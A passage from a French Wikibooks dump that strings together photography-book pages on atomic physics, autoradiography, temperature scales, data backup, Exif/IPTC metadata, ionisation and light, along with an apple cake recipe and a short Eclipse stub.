appelé '''numéro atomique'''. Il caractérise, comme nous le verrons, chaque '''élément chimique'''. Certains atomes de même numéro atomique contiennent un nombre différent de neutrons. Ce sont des '''isotopes'''. Les atomes dont les numéros atomiques sont différents mais qui contiennent le même nombre total de nucléons ('''nombre de masse''') sont des '''isobares'''. <gallery> Image:Sir James Chadwick.jpg|Sir James Chadwick<br>(1891 - 1974) Image:Wolfgang Pauli.jpg|Wolfgang Pauli<br>(1900 - 1958) </gallery> Dans l'état normal d'un atome, chaque électron occupe une orbite stable ou « stationnaire » sur laquelle il se meut sans échanger d'énergie avec l'extérieur. Chacune des orbites possibles est caractérisée par quatre '''nombres quantiques''' qui, d'après le principe d'exclusion de Pauli, ne peuvent jamais être tous identiques pour les divers électrons d'un même atome. Ces orbites sont réparties sur des "couches électroniques" baptisées K, L, M, N, O et P. Chacune de ces couches correspond à un niveau énergétique, c'est-à-dire à une valeur précise de l'énergie potentielle que possède l'électron tournant autour du noyau. Les différentes orbites électroniques peuvent dans une certaine mesure être comparées aux marches d'un escalier. Un objet que l'on y pose ne peut pas se trouver à n'importe quelle hauteur, mais seulement au niveau de l'une des marches. Les électrons occupent normalement les orbites de plus faible niveau énergétique, les plus "basses", et si l'un d'entre eux, sous l'effet d'une action extérieure, saute d'une orbite à l'autre, la quantité d'énergie mise en jeu prend une valeur bien définie, un quantum. Wolfgang Pauli, surnommé le « fléau de Dieu » par un de ses collègues, était un physicien brillant mais aussi un homme d'une extrême intolérance. La légende de l'« effet Pauli » prétend que dès qu'il mettait les pieds dans un laboratoire, cela faisait échouer toutes les expériences en cours ! <gallery> Image:Frédéric et Irène Joliot-Curie.jpg|Frédéric et<br> Irène Joliot-Curie<br>(1897 - 1956) Image:Frédéric Joliot-Curie.jpg|Frédéric Joliot-Curie<br>(1900 - 1958) Image:Otto Hahn.jpg|Otto Hahn<br>(1879 - 1968) Image:Otto Hahn und Lise Meitner.jpg|Otta Hahn et Lise Meitner dans leur laboratoire </gallery> Inéluctablement, la science avance. En 1934, Irène et Frédéric Joliot-Curie découvrent la radioactivité artificielle. En 1938, Otto Hahn et Fritz Strassmann découvrent la fission des atomes lourds sous l'impact des neutrons. La course à l'énergie est lancée. En 1942, Enrico Fermi fait diverger la première pile atomique à Chicago. Les applications de l'atome se diversifient, la guerre accélère les recherches... <gallery> Image:Fritz Strassmann.jpg|Fritz Strassmann<br>(1902 - 1980) Image:Enrico Fermi 1943-49.jpg|Enrico Fermi<br>(1901 - 1954) </gallery> Aujourd'hui les physiciens savent tirer des atomes tout un bric-à-brac de particules, comme les magiciens les lapins des chapeaux. Le modèle de Bohr, même amélioré, est parfaitement dépassé, mais il nous suffira amplement. De nouveaux modèles sont arrivés, mais nous ne les évoquerons ici que ''pour le plaisir des yeux''. Disons simplement qu'ils reposent sur des notions probabilistes. {| |- |[[Image:D orbitale.jpg|350px|left]] |[[Image:KWM O.jpg|200px|left]] |- |} == Applications == Toutes ces théories ont été riches d'applications pratiques, les meilleures et les pires. Chacun connaît les utilisations de l'atome pour produire de l'énergie à des fins pacifiques ou guerrières, mais il en existe également de nombreuses autres, en particulier dans les domaines de la thérapeutique et de la photographie. Le contrôle des pièces mécaniques par gammagraphie, l'[[Photographie - 23 - Autoradiographie|autoradiographie]] et la [[Photographie - 23 - Fluorographie|fluorographie]] qui permettent d'étudier les tissus animaux ou végétaux, la scintigraphie thyroïdienne, sont autant de domaines qui peuvent intéresser les photographes. {| |- |[[Image:Centrale-nucleaire-civaux.jpg|thumb|350px|Centrale nucléaire de Civaux]] |[[Image:Hiroshima autograph Tibbets.jpg|thumb|300px|Hiroshima après le 6 août 1945, avec la dédicace du pilote de l'Enola Gay, Paul Tibbets.<br> Le massacre était-il vraiment nécessaire ?]] |- |} {{Photo_02}} Cuisine:Quatre-quarts aux pommes 5113 20137 2005-08-27T13:26:57Z Antoinel 182 == Ingrédients == * 4 pommes à cuire * 3 ou 4 oeufs (environ 210-220g) * 210g de farine * 210g de sucre * 210g de beurre * 1 sachet de levure alsacienne * sucre de canne * 2 cuil. à soupe d'eau == Préparation == # Battre les oeufs et le sucre. # Rajouter le beurre ramoli (au micro-onde). # Rajouter la farine (on peut la tamiser pour faciliter la tâche et éviter les grumeaux) et la levure. # Eplucher et couper les pommes en lamelles. # Faire chauffer l'eau dans une casserole anti-adhésive, ajouter le sucre et remuer pendant cinq minutes. # Verser le sucre dans un plat anti-adhésif allant au four. # Disposer les lamelles de pommes. # Verser la préparation. # Faire cuire au four 30-45 min. # Pour démouler, passer le plat au-dessus d'une flamme, puis le retourner sur une assiette. [[Image:Quatre-quarts aux pommes2.jpg|200px]] ---- Retour aux [[Cuisine:Desserts|desserts]] / au [[Livre_de_Cuisine|sommaire]] ---- Photographie - Chapitre 23 - Techniques scientifiques 5119 27594 2005-12-25T15:05:09Z Jean-Jacques MILAN 114 {{Photographie}} * [[Photographie - 23 - Autoradiographie|Autoradiographie]] * [[Photographie - 23 - Fluorographie|Fluorographie]] * [[Photographie - 23 - Photographie dans l'infrarouge|Infrarouge]] * [[Photographie - 23 - Macrophotographie|Macrophotographie]] * [[Photographie - 23 - Photogrammétrie|Photogrammétrie]] * [[Photographie - 23 - Radiographie|Radiographie]] * [[Photographie - 23 - Photographie dans l'ultraviolet|ultraviolet]] Photographie - 23 - Autoradiographie 5121 20195 2005-08-28T11:54:54Z Jean-Jacques MILAN 114 {{Photographie}} L''''autoradiographie''' est une technique qui vise à enregistrer l'image de molécules marquées par des isotopes radioactifs, pour les localiser avec précision dans des tissus ou des cellules ou lors de réactions chimiques. Le matériel radioactif est fixé sur un substrat solide, une feuille de nitrocellulose par exemple, que l'on met en contact avec un film photographique spécial (généralement une émulsion sensible qux rayons X). Les particules &beta; ou les rayons &gamma; impressionnent l'émulsion là où se situent les traceurs radioactifs. On peut aussi étudier directement des coupes de tissus animaux ou végétaux, voire autoradiographier des coupes d'animaux entiers. Au niveau microscopique, les films et les plaques sont moins facilement utilisables et on préfère alors dépoer directement l'émulsion sur les coupes histologiques. Lorsque le rayonnement est dû à un produit de faible activité comme le tritium (isotope de l'hydrogène), le carbone 14 ou le soufre 35, il faut en général utiliser des émulsions spéciales que l'on soupet à une préexposition : un flash très bref, insuffisant pour fournir à lui seul une image développable, amorce la formation d'une image latente. Celle-ci se formera vraiment sous l'action des rayonnements de l'isotope, ce qui augmente la sensibilité apparente du système mais présente l'inconvénient d'engendrer du bruit de fond. Photographie - 23 - Fluorographie 5123 20205 2005-08-28T12:51:28Z Jean-Jacques MILAN 114 {{Photographie}} La '''fluorographie''' est une technique voisine de l'[[Photographie - 23 - Autoradiographie|autoradiographie]], utilisée lorsque les isotopes sont faiblement ou moyennement radioactifs. L'action directe des rayonnements est complétée par celle de produits fluorescents émettant un rayonnement secondaire sous forme de photons lumineux. Les isotopes très actifs comme le phosphore 32 ont l'inconvénient inverse des isotopes faibles : leur rayonnement puissant traverse les émulsions sans les affecter véritablement et de ce fait il est difficile à détecter. Des écrans d'intensification permettent alors d'obtenir un rayonnement secondaire beaucoup plus actif pour former une image latente utilisable. Les procédés d'intensification ont toutefois l'inconvénient important de diminuer la résolution des images. Fluorographie 5124 20201 2005-08-28T12:12:00Z Jean-Jacques MILAN 114 Fluorographie déplacé vers Photographie - 23 - Fluorographie: correction de lien #redirect [[Photographie - 23 - Fluorographie]] Photographie - 02 - Chaleur, température, zéro absolu 5126 32176 2006-02-09T11:08:05Z Jean-Jacques MILAN 114 ajout d'un modèle {{Photographie}} {{Photo_02}} Les corps qui nous entourent, même s'ils paraissent immobiles, sont le siège d'une '''agitation thermique''' incessante. Les atomes ou les molé­cules des gaz et des liquides se déplacent en tous sens, se heurtent les uns aux autres et heurtent les parois des récipients qui les contiennent, exerçant sur elles des pressions qui nous paraissent parfaitement constantes et continues mais qui ne sont en réalité que la somme des actions élémentaires de milliards de particules infimes. On peut même déterminer, dans des conditions fixées, le '''libre parcours moyen''' d'une molécule dans un gaz ou dans un liquide, entre deux chocs consécutifs. De tels mouvements peuvent être mis en évidence : si l'on examine sous un fort microscope de fines particules solides en suspension dans un li­quide, on constate qu'elles s'agitent en tous sens. Ce phénomène, appelé '''mou­vement brownien''', est dû aux chocs des molécules sur le corps observé, mais bien sûr on ne peut pas voir les molécules responsables de ces déplacements. Dans le cas des solides, le problème est un peu différent car les molécules ou les atomes ne se déplacent pas li­brement dans le milieu, ils vibrent autour d'une position d'équi­libre. Cette frénésie désordonnée correspond au fait que la matière possè­de une certaine énergie qui n'est autre que la chaleur. Échauffer un corps, c'est augmenter par un procédé ou par un autre l'agitation thermique de ses constituants, ce qui se traduit d'une manière pratique par l'élévation de sa température. Dans l''''échelle Celsius''', qui est l'échelle usuelle des températures, le point zéro correspond à la glace fondante et le point cent à l'ébullition de l'eau sous la pression atmosphérique normale (760 mm de mercure). Ces deux points cons­tituent des repères totalement arbitraires car on aurait pu choisir d'autres corps. De ce fait, il serait bien sûr absurde de prétendre qu'un corps chauffé à 80°C est deux fois plus chaud qu'un autre porté à 40°C. Pour rendre les températures mesurables et non plus seulement repérables, il est nécessaire de définir une température absolument nulle que l'on appellera '''zéro absolu'''. Cette température n'est autre que celle, théorique, où l'a­gitation thermique serait parfaitement nulle. On ne sait pas l'atteindre au laboratoire mais on peut cependant déterminer sa valeur : -273,16°C. À partir de ce point fixe, on peut alors mesurer les températures à l'aide d'une nouvelle unité, le kelvin (K), en hommage au célèbre physicien anglais William Thomson, alias Lord Kelvin. Comme la progression du kelvin est la même que celle du degré Celsius, on passe aisément d'une échelle à l'autre : {| border="1" cellpadding="5" cellspacing="0" align="center" |- |'''T (K) = t (°C) + 273,16''' |- |} [[Image:William Thomson, 1st Baron Kelvin.jpg|thumb|150px|right|William Thomson,<br>alias Lord Kelvin<br> (1824-1907)]] Dans la nouvelle échelle, l'eau fond à 273,16 K et bout à 373,16 K. Le kelvin permet de mesurer la '''température absolue'''. Officiellement, d'après la 13e Conférence Générale des Poids et Mesures (CGPM) de 1967, le kelvin est la fraction 1/273,16 de la température thermodynamique du point triple de l'eau. L'unité kelvin (pas de majuscule pour les unités dérivées d'un nom propre) et son symbole K sont utilisés pour exprimer un intervalle ou une différence de température. Le point triple de l'eau correspond aux conditions de température et de pression très particulières et bien définies, dans lesquelles les trois états de l'eau, solide, liquide et gazeux, peuvent être simultanément présents et en équilibre. La température vaut alors très exactement 0,0075 °C et la pression 615 Pa. Voici quelques années, vers Castres, à un carrefour dangereux, l'auteur de ces lignes a vu marquée au sol l'inscription « 40 K ». Nul article du code de la route n'oblige un automobiliste à se refroidir aussi brutalement, où que ce soit ! Les unités et leurs abréviations ayant force de loi, une telle inscription est évidemment illégale et attaquable en justice. Néanmoins, si la maréchaussée avait alors cherché du poil sur les œufs, il aurait sans doute mieux valu éviter de parler thermodynamique ! Les températures absolues interviennent dans divers domaines de la photographie, entre autres, pour l'éclairage, les filtres correcteurs et compensateurs et plus généralement pour la colorimétrie. {{Photo_02}} Programmation Eclipse 5127 25150 2005-11-07T07:43:40Z 80.118.33.228 /* [[http://www.eclipse.org eclipse]] */ == [[http://www.eclipse.org eclipse]] == Le must des environnements Java et + sous Linux et windows. Une communauté mixte libre/industrie extremement prolifique. [[http://www.eclipse.org/projects eclipse/projects/]] Image:Anglais leçon1 conversation.ogg 5129 20247 2005-08-30T09:02:30Z Cobalty 516 Photographie - Chapitre 00 - En attente 5130 32504 2006-02-12T10:20:53Z Jean-Jacques MILAN 114 {{Photographie}} '''Avertissement :''' cette partie du Wikilivre contient des éléments destinés à être inclus prochainement dans de nouveaux chapitres. Rien ne vous empêche d'ajouter des morceaux ! == Durée de vie des cédéroms et sauvegarde à long terme des données informatiques == Le stockage des données informatiques et plus spécialement des images est un problème grave que la plupart des amateurs prennent trop à la légère. À la différence des cédéroms originaux qui sont pressés, les cédéroms gravés ont une durée de vie qui ne dépasse guère 2 à 5 ans, selon la qualité du support utilisé. La dégradation physique de la couche contenant les données, sous l'effet des processus d'oxydation et parfois des champignons, modifie ces dernières et finit en effet par rendre leur lecture impossible. Les supports réinscriptibles sont les plus fragiles. La première précaution à prendre est de stocker les cédéroms gravés dans un lieu obscur, frais et sec, mais selon certains experts, le gain de durée n'est pas considérable. Le stockage des données sur des disques durs pose des problèmes du même ordre et sa fiabilité dépend, là aussi de la qualité du matériel. Il est conseillé de ne pas utiliser, pour le stockage de longue durée, des disques tournant plus vite que 7200 tours/minute. Actuellement, les bandes magnétiques restent le support de stockage le plus fiable, avec des durées de vie allant de 30 à 100 ans, toujours selon leur qualité. Ces problèmes conduisent à envisager une migration permanente des données vers les procédés de stockage les plus modernes, ne serait-ce que parce que rien ne garantit que l'on disposera encore, dans quelques années ou dizaines d'années, des matériels permettant de lire les supports actuels. Il faut cependant faire la part des choses entre la réalité des menaces et les déclarations peut-être trop alarmistes des vendeurs de solutions de stockage, qui ont évidemment tout intérêt à jouer sur l'inquiétude de leurs clients potentiels. Rappelons quelques évidences : * Dupliquer les données sur deux partitions d'un même disque dur conduit à tout perdre si le disque connaît un problème mécanique. Préférer par conséquent le stockage sur deux disques distincts, avec éventuellement un programme de duplication automatique comme SecondCopy 2000. * Préférer la duplication sur un second disque dur amovible que l'on peut mettre en sécurité dans un autre local (en cas d'incendie, on peut perdre en même temps son matériel et toutes les données sont stockées au même endroit). * Toujours faire plusieurs sauvegardes sur cédéroms ou DVDroms, choisir autant que possible des produits de marques différentes pour se prémunir contre des défauts cachés pouvant avoir altéré une série de disques. == Métadonnées == === Généralités === Les '''métadonnées''' (''metadata'' en anglais) sont « des données sur les données ». Au sens documentaire du terme, il s'agit d'informations structurées qui décrivent le contenu des documents en vue de faciliter la gestion des ressources. Elles se présentent généralement sous forme de mots ou de texte libre et contiennent par exemple les références bibliographiques du document (titre, auteur, année, sujet, éditeur, etc.), sa nature (monographie, périodique, cédérom, diapositive, bande magnétique, etc.), son statut administratif (appartenance à une collection, copyright), son contenu informatif (descripteurs, résumé) et sa localisation physique (sa cote). Les métadonnées permettent des recherches pertinentes, précises et rapides. Leur absence peut rendre une collection pratiquement inexploitable et chacun sait par exemple que dans une grande bibliothèque, un ouvrage mal catalogué est un ouvrage perdu. Par ailleurs, sans règles établies et communes entre des collectivités différentes, aucune interopérabilité n'est possible (par exemple, le prêt interbibliothèques). Naturellement, on ne décrit pas les différentes ressources de la même manière, un ensemble de pièces de musée ne peut pas être cataloguée comme une collection de diapositives, de monographies ou de disques vinyle. Il s'ensuit que les standards sont très nombreux et l'on parle de métadonnées « métiers ». Pour les documents non numériques, les métadonnées sont inscrites extérieurement, par exemple dans un fichier papier. Les documents numériques, au contraire, et c'est nouveau, contiennent de façon interne leurs propres métadonnées. === Le problème particulier des photographies === Pour les photographes, le problème des métadonnées s'est toujours posé, de façon diffuse ou précise : comment retrouver un négatif parmi plusieurs dizaines de milliers, comment classer une collection de diapositives sur les monuments de France ou sur les insectes, etc. ? Aujourd'hui, deux cas se présentent. Si les images sont ''matérialisées'', sous forme de tirages papier ou de diapositives, il faut veiller à la fois au classement (le matériel) et à la classification (la méthode de création des métadonnées, qui aboutit à un fichier informatisé ou non). Si les images sont conservées sous forme numérique, l'exploitation directe des métadonnées inscrites dans chaque fichier d'image est à la fois possible et souhaitable. Les standards informatiques sont nombreux mais seuls deux systèmes peuvent être recommandés actuellement : * les métadonnées '''IPTC''', informations de catalogage enregistrées volontairement et relatives à l'auteur, au statut administratif et au contenu informatif de l'image, * les métadonnées '''Exif''', informations techniques enregistrées automatiquement lors de la création du fichier image par un appareil photo numérique ou un scanner et auxquelles '''il ne faudrait jamais toucher'''. De nombreux logiciels permettent de visualiser ou d'inscrire des métadonnées mais, pour des raisons de compatibilité, il faut de préférence éviter les ''systèmes propriétaires'' et faire attention aux éventuelles nécessités de conversion au passage entre les plateformes Windows, Macintosh ou Linux. === Les champs IPTC/IIM === L'''International Press and Telecommunications Council'' (IPTC) est une organisation internationale créée en 1965 pour établir des standards d'échange de données destinés à la presse. Bien avant la généralisation des images numériques, un modèle global a été établi en accord avec la ''Newspaper Association of America'' sous l'appellation '''IPTC-NAA'''. Les informations textuelles comportent 33 champs permettant de décrire les images (titre, auteur, mots-clés, ...), elles sont stockées à l'intérieur des fichiers Adobe Photoshop, JPEG ou TIFF. La dernière version du standard date d'octobre 1997, elle est connue sous le nom ''IIMV4''. Le standard IPTC/IIM peut être exploité par de multiples logiciels et il est très largement utilisé par les agences photo, les journaux, les photothèques, etc. On peut très facilement changer de logiciel de classement et de recherche et construire des bases de données interchangeables. Cependant, le jeu d'informations n'est pas extensibles de façon standardisée ; certains logiciels permettent de créer des champs personnalisés mais en cas d'utilisation par d'autres logiciels qui ne les reconnaissent pas, les informations qu'ils contiennent risquent d'être perdues. Malgré l'apparition de nouvelles techniques qui suppriment ces inconvénients, les informations IPTC/IIM resteront sans doute encore longtemps les plus utilisées dans les milieux professionnels. Contrairement aux métadonnées Exif, qui comportent des éléments factuels enregistrés automatiquement lors des prises de vues avec les appareils numériques, les métadonnées IPTC/IIM nécessitent une intervention humaine car elles se rapportent non pas aux aspects purement techniques des images, mais surtout à leurs aspects administratifs, sémantiques et légaux. === Données EXIF === ==== Définitions ==== À chaque pression sur le déclencheur, l'appareil numérique enregistre un fichier numérique contenant la photo que l'on vient de prendre, mais aussi d'autres données : * les conditions techniques, temporelles et géographiques de la prise de vue, * en général, une miniature de la photo (appelée aussi vignette, imagette ou ''thumbnail'' en anglais), * éventuellement, des informations sonores ou autres. Dans le cas des photographies issues d'appareils numériques, les métadonnées sont inscrites dans une zone de fichier particulière appelée en anglais ''Exchangeable Image File Format'' ('''Exif''') associée au fichier de base. La spécification Exif a été introduite par la ''Japan Electronic Industry Development Association'' (JEIDA). Les formats JPEG et TIFF supportent les données Exif mais les formats JPEG 2000 et PNG sont incompatibles. ==== Contenu ==== [[Image:Données Exif.jpg|thumb|318px|right|Exemple d'affichage de métadonnées Exif associées à une image par un logiciel de visualisation (SuperJPG)]] Les métadonnées définies dans le format Exif standard constituent en quelque sorte la « mémoire » de la photo ; elles couvrent un large éventail de données, dont : * la date et l'heure de la prise de vue, * le nom du fabricant de l'appareil et le modèle, * les réglages de l'appareil : temps de pose, ouverture du diaphragme, distance focale, sensibilité ISO, usage éventuel du flash, etc. * certains appareils permettent en outre d'ajouter des informations géographiques GPS * il est possible aussi d'indiquer des informations personnalisées comme par exemple la description des images, les données relatives aux droits d'auteur, etc. Ces informations sont la plupart du temps inscrites après coup à l'occasion de l'archivage ou de la transmission des images. Les données Exif sont lisibles par la quasi totalité des systèmes de gestion et de traitement d'images et avec l'explorateur de Windows XP. Il existe également des logiciels spécialisés dans la lecture des données Exif et certains d'entre eux permettent également de les modifier. '''Remarques :''' * certains logiciels de traitement d'images ont la fâcheuse propriété de supprimer les données Exif, du moins dans leurs versions antérieures à 2003. * selon les usages en cours pour la langue française et, de plus, selon les préconisations officielles, il convient d'écrire '''Exif''' et non <s>EXIF</s>. ==== Liens externes ==== *[http://exif.org/ EXIF.org] *[http://exif.org/Exif2-2.PDF Exif 2.2 Specification] (PDF file) *[http://www.digicamsoft.com/exif22/exif22.htm Exif 2.2 Specification] (HTML) *[http://www.awaresystems.be/imaging/tiff/tifftags/privateifd/exif.html Exif in the TIFF Tags Directory] *[http://citeseer.org/cs?q=Exchangeable+image+file+format+EXIF Citations from CiteSeer] *[http://www.i3a.org/links_digital-image-formats.html Digital Image File Formats] =====Manipulation (lecture, écriture)===== *[http://www.opanda.com/en/pe/ Opanda PowerExif Editor] *[http://www.sentex.net/~mwandel/jhead/ Jhead] (C) *[http://openexif.sourceforge.net/ OpenExif Toolkit] (C++) *[http://picturemetadata.sourceforge.net/ Picture Metadata Toolkit] (C++) *[http://sourceforge.net/projects/libexif EXIF Tag Parsing Library] (C) *[http://pel.sourceforge.net/ PEL: PHP Exif Library] (PHP) *[http://www.sno.phy.queensu.ca/~phil/exiftool/ ExifTool Perl module] *[http://home.arcor.de/ahuggel/exiv2/ Exiv2 (C++) Exif and Iptc metadata manipulation library and tools] *[http://www.watermarker.com/exif-iptc-gps/ AiS Exif Info ActiveX] =====Extraction (lecture)===== *[http://www.opanda.com/en/iexif/ Opanda IExif viewer] *[http://www.imagemagick.org/ ImageMagick&trade;] *[http://www.sentex.net/~mwandel/jhead/ Exif JPEG camera setting parser and thumbnail remover] *[http://pyexif.sourceforge.net/ Python Exif Parser] *[http://www.php.net/manual/en/function.exif-read-data.php PHP function: exif_read_data()] *[http://johnst.org/sw/exiftags/ exiftags] *[http://search.cpan.org/~ccpro/Image-EXIF/ Image::EXIF] perl module, wrapper to exiftags (above) *[http://www.one-nine.com/downloads.aspx EasyExif] *[http://www.irfanview.com/ IrfanView] *[http://www.xnview.com/ XnView] *[http://www.picturegrid.com/community/samples/imageio/ How to read EXIF and IPTC with Java Image I/O API] =====Affichage===== *[http://www.opanda.com/en/iexif/ Opanda IExif for Windows folder & Internet Explorer] *[http://www.opanda.com/en/iexif/firefox.htm Opanda IExif for Mozilla Firefox] *[http://www.amarra.de/exif_uk.htm Exif-Viewer] *[http://homepage.mac.com/aozer/EV/ Simple EXIF Viewer for Mac OS X] *[http://home.pacbell.net/michal_k/exif_v.html EXIF Image Viewer] *[http://www.oneilsoftware.com/Exif/Exif.html Digital Camera Extended File Information Viewer] *[http://www.friedemann-schmidt.com/software/exifer/ Exifer for Windows] *[http://www.software-factory.ch/software/exifbrowser/exifbrowser_down_en.htm Exif Browser] *[http://myalpha.dls.net/ttnview/ TTNview] ==== Voir aussi ==== * l'article de Wikipédia : [[w:fr:Exif|Exif]] == Ionisation == Au contact d'un solvant polaire, comme l'eau, les composés ioniques liquides, comme l'acide sulfurique ou solides comme la potasse ou le sel de cuisine, se dissocient en ions au cours d'un processus appelé ''solvatation''. Par exemple, la molécule de [[chlorure de sodium]] (NaCl) se dissocie en ions Na<sup>+</sup> et Cl<sup>–</sup>. L'ion Na<sup>+</sup> est appelé [[cation]] car il est attiré par la [[cathode]] (électrode négative) lors d'une [[électrolyse]] et l'ion Cl<sup>–</sup> est un [[anion]] qui est, lui, attiré par l'anode (électrode positive). Le symbole Na<sup>+</sup> signifie que l'atome de [[sodium]] (Na, abréviation de ''natrium'') a perdu un [[électron]] et possède donc une charge positive tandis que le symbole Cl<sup>–</sup> signifie que l'atome de [[chlore]] a gagné un électron et possède donc une charge électrique négative. La mesure de la conductivité électrique d'une solution ([[conductimétrie]]) permet d'estimer sa teneur globale en ions. L'eau des [[océan]]s, qui constituent la plus importante réserve hydrique de la Terre, est riche en ions : {| align=center border=1 cellpadding=9 cellspacing=0 |----- | align=center colspan=11 | Concentration approximative des principaux ions dans l'eau de mer normale |----- | Ions || align=center | Cl<sup>–</sup> || align=center | Na<sup>+</sup> || align=center | SO<sub>4</sub><sup>2–</sup> || align=center | Mg<sup>2+</sup> || align=center | Ca<sup>2+</sup> || align=center | HCO<sub>3</sub><sup>–</sup> || align=center | Br<sup>–</sup> || align=center | CO<sub>3</sub><sup>2–</sup> || align=center | Sr<sup>2+</sup> || align=center | F<sup>–</sup> |----- | mg/l || align=center | 19000 || align=center | 11000 || align=center | 2700 || align=center | 1300 || align=center | 420 || align=center | 110 || align=center | 73 || align=center | 15 || align=center | 8,1 || align=center | 1,3 |} === Ionisation des gaz === Seules les molécules polaires, tels l'ammoniac ou le dioxyde de carbone, sont facilement ionisées dans l'eau. Les faibles concentrations constatées dans les eaux naturelles ne résultent que de la faible teneur de ces gaz dans l'atmosphère ([[loi de Henry]]). L'[[ionisation]] des gaz peut toutefois être réalisée grâce à : * une [[température]] très élevée : :La chaleur — typiquement plus de 10000 [[Kelvin|K]] — apporte l'énergie nécessaire à cette ionisation et produit un [[plasma]], [[gaz]] partiellement ou complètement ionisé. Constitué d'un mélange d'ions, chargés positivement, et d'électrons, négatifs, le plasma est dans son ensemble électriquement neutre. Le [[Soleil]] est un plasma. * un [[rayonnement électromagnétique]] : :L'ionisation radiative se produit sous l'action d'un rayonnement de courte longueur d'onde, dit ionisant, tels les [[rayons UV]] ou les [[rayons X]] : les gaz de la haute [[atmosphère]], l'[[ionosphère]], ionisés par le [[rayonnement solaire]], participent à la formation de couches réfléchissant les [[onde radio|ondes radio]] sur [[onde courte|ondes courtes]]. * un [[champ électrique]] intense : :La torche à plasma, encore appelée ICP ([[spectrométrie]] d'émission à couplage inductif), est une technique qui utilise un [[plasma]], généré grâce à un intense champ électrique, pour vaporiser et ioniser les composés à analyser. Les éclairs sont un autre exemple d'ionisation électrique. * un [[faisceau de particules]] : :Les collisions entre les molécules gazeuses de l'ionosphère avec les particules solaires de haute énergie peuvent générer des [[aurore polaire|aurores polaires]]. == Conseils en vrac == * Pour obtenir des photos plus « percutantes », rapprochez-vous de votre sujet. * Quand c'est possible, n'utilisez pas l'écran LCD de votre appareil comme viseur, particulièrement si vous utilisez des longues focales, car vous n'apprécierez pas correctement la netteté et vous augmenterez le risque de flou de bougé. N'hésitez pas à utiliser un trépied. * Pour les photos de paysages la lumière est magique une demi-heure après le lever du soleil et une demi-heure avant son coucher. * Pour photographier les enfants, n'hésitez pas à multiplier les prises de vue. Si vous avez de la chance, vous aurez 10 % de bonnes photos ! * La règle des tiers, utilisée en peinture depuis des siècles, trouve son origine chez les Grecs anciens. En imaginant deux paires de lignes divisant l'image en trois parties horizontalement et verticalement, on obtient un quadrillage comportant 9 carreaux. Les quatre lignes se coupent en quatre points appelés « points forts ». Plutôt que centrer le sujet principal, il vaut mieux le placer à l'un des points forts. Ceux qui sont situés en haut à gauche et en bas à droite sont les plus recommandés. * Il n'existe pas d'appareil universel et le choix dépend de votre style personnel. Si vous êtes un amoureux de la nature ou un passionné de sport vous ne choisirez pas le même équipement. * Pour les photos de personnages il vous faut un zoom lumineux et de haute qualité pour pouvoir vous approcher de votre sujet. * Un pixel est un petit élément d'image. Plus le capteur de votre appareil comportera de pixels, plus vous pourrez agrandir l'image. 2 ou 3 Mpixels suffisent largement pous les photos publiées sur l'Internet, mais pour des agrandissements d'environ 20x30 il vous faudra au moins 4 ou 5 Mpixels. * Pour être vraiment créatif il faut avant tout savoir maîtriser le diaphragme, encore faut-il posséder un appareil qui permette d'en avoir le contrôle. * Pour obtenir les meilleurs résultats, un réflex mono-objectif est toujours meilleur qu'un compact : vous voyez exactement ce que vous obtiendrez, vous pouvez changer d'objectif, mais bien sûr cet équipement est plus encombrant. * Avant d'acheter un appareil, essayez toujours de déclencher afin de voir combien de temps il met pour prendre la photo. * En utilisant systématiquement le format « RAW », « brut » en français, votre appareil n'effectuera aucun traitement de vos images et vous pourrez les travailler par la suite dans les meilleures conditions possibles. Photographie - 04 - La lumière 5133 44345 2006-06-11T21:33:32Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_04}} == Les trois domaines de la lumière == Les radiations lumineuses ont des longueurs d'onde comprises entre 0,0136 et 500 &mu;m. On distingue trois domaines différents : * l''''ultraviolet''' qui s'étend de 0,0136 à 0,4 &mu;m, * la '''lumière visible''' de 0,4 à 0,78 &mu;m * l''''infrarouge''' de 0,78 à 500&mu;m. == Analyse de la lumière == [[Image:Analyse lumière blanche.png|500px|right]] Les différentes sortes de radiations peuvent être mises en évidence en décomposant par un prisme de verre ou de quartz la lumière du Soleil ou, en laboratoire, celle d'un arc électrique. Un écran blanc reçoit le '''spectre''' de la lumière étudiée, l'œil y voit une bande de teintes saturées où se reconnaissent les couleurs de l''''arc-en-ciel'''. Hors de la bande visible, l'œil ne perçoit plus rien mais d'autres rayonnements peuvent être mis en évidence. Un thermomètre placé dans la zone rouge indique une élévation de température. Au-delà de la bande colorée, on observe que la température est encore plus élevée, ce qui révèle l'existence du rayonnement infrarouge. De même, au-delà du violet, un écran fluorescent s'illumine sous l'effet des radiations ultraviolettes, comme le font les vêtements en nylon exposés à la '''lumière noire''' des boîtes de nuit. Les photons ultraviolets possèdent individuellement une énergie bien plus grande que celle des photons infrarouges mais le thermomètre n'est pas chauffé de manière significative au-delà du violet. C'est que l'arc électrique, le Soleil et tous les corps chauds usuels émettent l'essentiel de leur énergie sous forme de lumière visible et surtout d'infrarouge. Ce dernier se trouve ainsi qualifié, bien à tort, de '''rayonnement calorifique'''. La déviation des rayons dispersés par le prisme est d'autant plus importante que la longueur d'onde est plus petite. Ainsi, le violet est plus dévié que le rouge. == Limites du spectre visible == La perception des couleurs peut varier notablement d'un individu à un autre. Sans que l'on sache pourquoi, on observe d'ailleurs beaucoup plus de différences significatives chez les hommes (10 %) que chez les femmes (0,5 %). Pour une même personne, les valeurs relevées peuvent changer en fonction de l'état de fatigue, de l'ambiance lumineuse ou des aliments absorbés dans les heures précédant les mesures. Les limites du spectre visible sont d'autant plus difficiles à définir que le violet extrême et le rouge extrême sont des couleurs qui nous paraissent sombres, contrairement au jaune-vert qui est la plus claire des couleurs saturées. Pour toutes ces raisons, la Commission Internationale de l'Éclairage (CIE) a fixé en 1924 les limites du spectre visible à 0,4 µm du côté du violet et 0,78 µm du côté du rouge. Les longues études conduites à l'époque ont abouti à la définition d'un '''observateur moyen de référence''' dont les caractéristiques ont été normalisées. La perception de la lumière par l'œil humain est très importante pour les photographes et elle sera étudiée plus loin en détail. Statistiquement, et sans évoquer ici les cas avérés de « daltonisme », les 10 % de photographes hommes qui perçoivent les couleurs de façon décalée par rapport à la moyenne peuvent se trouver très gênés pour l'exercice de leur art et ceci, aussi bien au laboratoire argentique que devant leur écran d'ordinateur. Un conseil d'ami : en cas de doute sur vos caractéristiques personnelles, il suffit de demander à votre opticien préféré de passer des tests de vision des couleurs, c'est à la fois rapide et indolore ! Il vous proposera sans doute ce genre d'images et vous demandera ce que vous percevez : <center> [[Image:Testcol2.png|133px]].......... [[Image:TestProGamma165.png]] </center> == Spectre lumineux et vocabulaire == La variation des longueurs d'onde 